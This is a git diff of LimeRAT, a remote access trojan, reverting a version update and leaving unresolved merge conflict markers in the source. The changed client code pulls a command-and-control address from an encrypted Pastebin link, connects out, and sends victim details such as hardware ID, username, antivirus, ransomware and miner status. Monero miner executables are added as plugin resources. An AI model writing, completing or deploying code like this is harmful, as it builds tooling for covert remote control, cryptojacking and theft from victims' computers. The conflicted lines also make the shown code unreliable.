diff --git a/.vs/LimeRAT/DesignTimeBuild/.dtbcache b/.vs/LimeRAT/DesignTimeBuild/.dtbcache
new file mode 100644
index 0000000..8aeaee0
Binary files /dev/null and b/.vs/LimeRAT/DesignTimeBuild/.dtbcache differ
diff --git a/.vs/LimeRAT/v15/.suo b/.vs/LimeRAT/v15/.suo
new file mode 100644
index 0000000..2f4be9d
Binary files /dev/null and b/.vs/LimeRAT/v15/.suo differ
diff --git a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide
new file mode 100644
index 0000000..f12324c
Binary files /dev/null and b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide differ
diff --git a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm
new file mode 100644
index 0000000..dc8d1f2
Binary files /dev/null and b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm differ
diff --git a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal
new file mode 100644
index 0000000..20033ec
Binary files /dev/null and b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal differ
diff --git a/Project/Client/C_Main.vb b/Project/Client/C_Main.vb
index f031c57..9899ef9 100644
--- a/Project/Client/C_Main.vb
+++ b/Project/Client/C_Main.vb
@@ -1,5 +1,9 @@
'##################################################################
+<<<<<<< HEAD
'## N Y A N C A T ||| Updated on Nov./27/2018 ##
+=======
+'## N Y A N C A T ||| Updated on Sept/25/2018 ##
+>>>>>>> parent of 19710ea... UPDATE v0.1.8.5C
'##################################################################
'## ##
'## ##
diff --git a/Project/Client/C_TcpClient.vb b/Project/Client/C_TcpClient.vb
index 7e44f43..1e4b6b9 100644
--- a/Project/Client/C_TcpClient.vb
+++ b/Project/Client/C_TcpClient.vb
@@ -1,6 +1,4 @@
-Imports System.Collections.Generic
-
-Namespace Lime
+Namespace Lime
Public Class C_TcpClient
Public Shared ENDOF As String = C_Settings.ENDOF
@@ -10,9 +8,14 @@ Namespace Lime
Public Shared T1 As New Threading.Thread(AddressOf Connect)
Public Shared isConnected As Boolean = False
Public Shared MS As IO.MemoryStream = Nothing
+<<<<<<< HEAD
Public Shared Tick As Threading.Timer = Nothing
Public Shared x As Integer = 0
Public Shared P As New List(Of Integer)
+=======
+ Public Shared Tick As System.Threading.Timer = Nothing
+ Public Shared KA As Integer = 0
+>>>>>>> parent of 19710ea... UPDATE v0.1.8.5C
Public Shared Sub Connect()
@@ -89,31 +92,31 @@ re:
C_Settings.HOST = "127.0.0.1"
C_Settings.PORT = 8989
#Else
-
Using WC As New Net.WebClient 'Pastebin, split by ":" IP:PORT
Try
Dim myCredentials As New Net.NetworkCredential("", "")
WC.Credentials = myCredentials
Dim Response As String = WC.DownloadString(C_Encryption.AES_Decrypt(C_Settings.Pastebin))
- ' Dim Response As String = WC.DownloadString((C_Settings.Pastebin))
- Dim SPL = Split(Response, ":")
- C_Settings.HOST = SPL(0)
- Dim r As New Random
- C_Settings.PORT = SPL(New Random().Next(1, SPL.Length))
+ C_Settings.HOST = Response.Split(":")(0)
+ C_Settings.PORT = Response.Split(":")(1)
WC.Dispose()
Catch ex As Exception
End Try
End Using
#End If
-
C.Connect(C_Settings.HOST, C_Settings.PORT)
isConnected = True
MS = New IO.MemoryStream
+<<<<<<< HEAD
Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.9.1", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL,
C_ID.INDATE, SPL, C_ID.AV, SPL, C_ID.Rans, SPL, C_ID.XMR, SPL,
C_ID.USBSP, SPL, C_Settings.PORT, SPL, C_ID.dotNET, SPL, "...", SPL, " ", SPL,
+=======
+ Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.8.5B", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL,
+ C_ID.INDATE, SPL, C_ID.AV, SPL, C_ID.Rans, SPL, C_ID.XMR, SPL, C_ID.USBSP, SPL, C_Settings.PORT, SPL, C_ID.dotNET, SPL, "...", SPL, " ", SPL,
+>>>>>>> parent of 19710ea... UPDATE v0.1.8.5C
C_ID.Privileges.ToString, SPL, C_Settings.fullpath))
Dim T As New Threading.TimerCallback(AddressOf PING)
diff --git a/Project/Plugins/XMR/Resources/cpu.exe b/Project/Plugins/XMR/Resources/cpu.exe
index 5e67a13..e2f3c53 100644
Binary files a/Project/Plugins/XMR/Resources/cpu.exe and b/Project/Plugins/XMR/Resources/cpu.exe differ
diff --git a/Project/Plugins/XMR/Resources/xm.exe b/Project/Plugins/XMR/Resources/xm.exe
new file mode 100644
index 0000000..9ace0d1
Binary files /dev/null and b/Project/Plugins/XMR/Resources/xm.exe differ
diff --git a/Project/Plugins/XMR/XMR.vbproj b/Project/Plugins/XMR/XMR.vbproj
index 9d1430e..0db46f2 100644
--- a/Project/Plugins/XMR/XMR.vbproj
+++ b/Project/Plugins/XMR/XMR.vbproj
@@ -96,7 +96,10 @@
-
+
+
+
+
\ No newline at end of file
diff --git a/Project/Server/Classes/S_Settings.vb b/Project/Server/Classes/S_Settings.vb
index 1eab2c7..e38f857 100644
--- a/Project/Server/Classes/S_Settings.vb
+++ b/Project/Server/Classes/S_Settings.vb
@@ -3,7 +3,11 @@
Public Shared PORT As New List(Of Integer)
Public Shared EncryptionKey As String = Nothing
Public Shared IP As String = Nothing
+<<<<<<< HEAD
Public Shared StubVer As String = "v0.1.9.1"
+=======
+ Public Shared StubVer As String = "v0.1.8.5B"
+>>>>>>> parent of 19710ea... UPDATE v0.1.8.5C
Public Shared SPL As String = "|'L'|"
Public Shared EOF As String = "|'N'|"
diff --git a/Project/Server/Forms/About.Designer.vb b/Project/Server/Forms/About.Designer.vb
index 8ef651a..844b043 100644
--- a/Project/Server/Forms/About.Designer.vb
+++ b/Project/Server/Forms/About.Designer.vb
@@ -140,7 +140,11 @@ Partial Class About
Me.MetroLabel7.Size = New System.Drawing.Size(61, 19)
Me.MetroLabel7.Style = MetroFramework.MetroColorStyle.Lime
Me.MetroLabel7.TabIndex = 0
+<<<<<<< HEAD
Me.MetroLabel7.Text = ": 0.1.9.1"
+=======
+ Me.MetroLabel7.Text = ": 0.1.8.5B"
+>>>>>>> parent of 19710ea... UPDATE v0.1.8.5C
Me.MetroLabel7.Theme = MetroFramework.MetroThemeStyle.Dark
'
'MetroLabel8
diff --git a/Project/Server/Forms/Intro.Designer.vb b/Project/Server/Forms/Intro.Designer.vb
index dd6a873..df8fd70 100644
--- a/Project/Server/Forms/Intro.Designer.vb
+++ b/Project/Server/Forms/Intro.Designer.vb
@@ -30,11 +30,11 @@ Partial Class Intro
Me.MetroTextBox2 = New MetroFramework.Controls.MetroTextBox()
Me.MetroLabel2 = New MetroFramework.Controls.MetroLabel()
Me.MetroPanel1 = New MetroFramework.Controls.MetroPanel()
+ Me.MetroTextBox1 = New MetroFramework.Controls.MetroTextBox()
Me.MetroButton2 = New MetroFramework.Controls.MetroButton()
Me.ListBox1 = New System.Windows.Forms.ListBox()
Me.ContextMenuStrip1 = New System.Windows.Forms.ContextMenuStrip(Me.components)
Me.RemoveToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem()
- Me.MetroTextBox1 = New MetroFramework.Controls.MetroTextBox()
CType(Me.MetroStyleManager1, System.ComponentModel.ISupportInitialize).BeginInit()
Me.MetroPanel1.SuspendLayout()
Me.ContextMenuStrip1.SuspendLayout()
@@ -49,9 +49,9 @@ Partial Class Intro
'MetroButton1
'
Me.MetroButton1.Highlight = True
- Me.MetroButton1.Location = New System.Drawing.Point(30, 325)
+ Me.MetroButton1.Location = New System.Drawing.Point(20, 319)
Me.MetroButton1.Name = "MetroButton1"
- Me.MetroButton1.Size = New System.Drawing.Size(336, 37)
+ Me.MetroButton1.Size = New System.Drawing.Size(106, 37)
Me.MetroButton1.Style = MetroFramework.MetroColorStyle.Lime
Me.MetroButton1.TabIndex = 0
Me.MetroButton1.Text = "Start"
@@ -74,9 +74,9 @@ Partial Class Intro
'
Me.MetroTextBox2.DataBindings.Add(New System.Windows.Forms.Binding("Text", Global.Lime_RAT.My.MySettings.Default, "Encryption", True, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged))
Me.MetroTextBox2.FontSize = MetroFramework.MetroTextBoxSize.Medium
- Me.MetroTextBox2.Location = New System.Drawing.Point(131, 237)
+ Me.MetroTextBox2.Location = New System.Drawing.Point(101, 237)
Me.MetroTextBox2.Name = "MetroTextBox2"
- Me.MetroTextBox2.Size = New System.Drawing.Size(225, 36)
+ Me.MetroTextBox2.Size = New System.Drawing.Size(230, 36)
Me.MetroTextBox2.Style = MetroFramework.MetroColorStyle.Lime
Me.MetroTextBox2.TabIndex = 4
Me.MetroTextBox2.Text = Global.Lime_RAT.My.MySettings.Default.Encryption
@@ -117,10 +117,20 @@ Partial Class Intro
Me.MetroPanel1.VerticalScrollbarHighlightOnWheel = False
Me.MetroPanel1.VerticalScrollbarSize = 10
'
+ 'MetroTextBox1
+ '
+ Me.MetroTextBox1.FontSize = MetroFramework.MetroTextBoxSize.Medium
+ Me.MetroTextBox1.Location = New System.Drawing.Point(101, 26)
+ Me.MetroTextBox1.Name = "MetroTextBox1"
+ Me.MetroTextBox1.Size = New System.Drawing.Size(97, 36)
+ Me.MetroTextBox1.Style = MetroFramework.MetroColorStyle.Lime
+ Me.MetroTextBox1.TabIndex = 2
+ Me.MetroTextBox1.Theme = MetroFramework.MetroThemeStyle.Dark
+ '
'MetroButton2
'
Me.MetroButton2.Highlight = True
- Me.MetroButton2.Location = New System.Drawing.Point(286, 25)
+ Me.MetroButton2.Location = New System.Drawing.Point(261, 25)
Me.MetroButton2.Name = "MetroButton2"
Me.MetroButton2.Size = New System.Drawing.Size(70, 37)
Me.MetroButton2.Style = MetroFramework.MetroColorStyle.Lime
@@ -137,9 +147,9 @@ Partial Class Intro
Me.ListBox1.ForeColor = System.Drawing.SystemColors.Control
Me.ListBox1.FormattingEnabled = True
Me.ListBox1.ItemHeight = 20
- Me.ListBox1.Location = New System.Drawing.Point(131, 92)
+ Me.ListBox1.Location = New System.Drawing.Point(101, 89)
Me.ListBox1.Name = "ListBox1"
- Me.ListBox1.Size = New System.Drawing.Size(115, 120)
+ Me.ListBox1.Size = New System.Drawing.Size(97, 120)
Me.ListBox1.TabIndex = 5
'
'ContextMenuStrip1
@@ -147,24 +157,14 @@ Partial Class Intro
Me.ContextMenuStrip1.ImageScalingSize = New System.Drawing.Size(24, 24)
Me.ContextMenuStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {Me.RemoveToolStripMenuItem})
Me.ContextMenuStrip1.Name = "ContextMenuStrip1"
- Me.ContextMenuStrip1.Size = New System.Drawing.Size(150, 34)
+ Me.ContextMenuStrip1.Size = New System.Drawing.Size(163, 34)
'
'RemoveToolStripMenuItem
'
Me.RemoveToolStripMenuItem.Name = "RemoveToolStripMenuItem"
- Me.RemoveToolStripMenuItem.Size = New System.Drawing.Size(149, 30)
+ Me.RemoveToolStripMenuItem.Size = New System.Drawing.Size(162, 30)
Me.RemoveToolStripMenuItem.Text = "Remove"
'
- 'MetroTextBox1
- '
- Me.MetroTextBox1.FontSize = MetroFramework.MetroTextBoxSize.Medium
- Me.MetroTextBox1.Location = New System.Drawing.Point(131, 26)
- Me.MetroTextBox1.Name = "MetroTextBox1"
- Me.MetroTextBox1.Size = New System.Drawing.Size(115, 36)
- Me.MetroTextBox1.Style = MetroFramework.MetroColorStyle.Lime
- Me.MetroTextBox1.TabIndex = 2
- Me.MetroTextBox1.Theme = MetroFramework.MetroThemeStyle.Dark
- '
'Intro
'
Me.AutoScaleDimensions = New System.Drawing.SizeF(9.0!, 20.0!)
diff --git a/Project/Server/Forms/Intro.vb b/Project/Server/Forms/Intro.vb
index 0893bed..5883723 100644
--- a/Project/Server/Forms/Intro.vb
+++ b/Project/Server/Forms/Intro.vb
@@ -46,7 +46,6 @@
STV("Read", "1")
Catch : End Try
End If
-
#If DEBUG Then
' S_Settings.PORT = 8989
S_Settings.EncryptionKey = "NYANCAT"
@@ -89,14 +88,6 @@
Catch ex As Exception
End Try
- Try
- If GTV("READPORTMSG") = Nothing Then
- MsgBox("New PORT system. You need to create 1 pastebin and insert you ports like this 127.0.0.1:8989:7878:5656", MsgBoxStyle.Information)
- STV("READPORTMSG", "1")
- End If
- Catch ex As Exception
- End Try
-
End Sub
Private Sub MetroButton2_Click(sender As Object, e As EventArgs) Handles MetroButton2.Click
diff --git a/Project/Server/Forms/Main.vb b/Project/Server/Forms/Main.vb
index f0c38bf..274de3c 100644
--- a/Project/Server/Forms/Main.vb
+++ b/Project/Server/Forms/Main.vb
@@ -1,5 +1,9 @@
'##################################################################
+<<<<<<< HEAD
'## N Y A N C A T ||| Updated on Nov./27/2018 ##
+=======
+'## N Y A N C A T ||| Updated on Sept/25/2018 ##
+>>>>>>> parent of 19710ea... UPDATE v0.1.8.5C
'##################################################################
'## ##
'## ##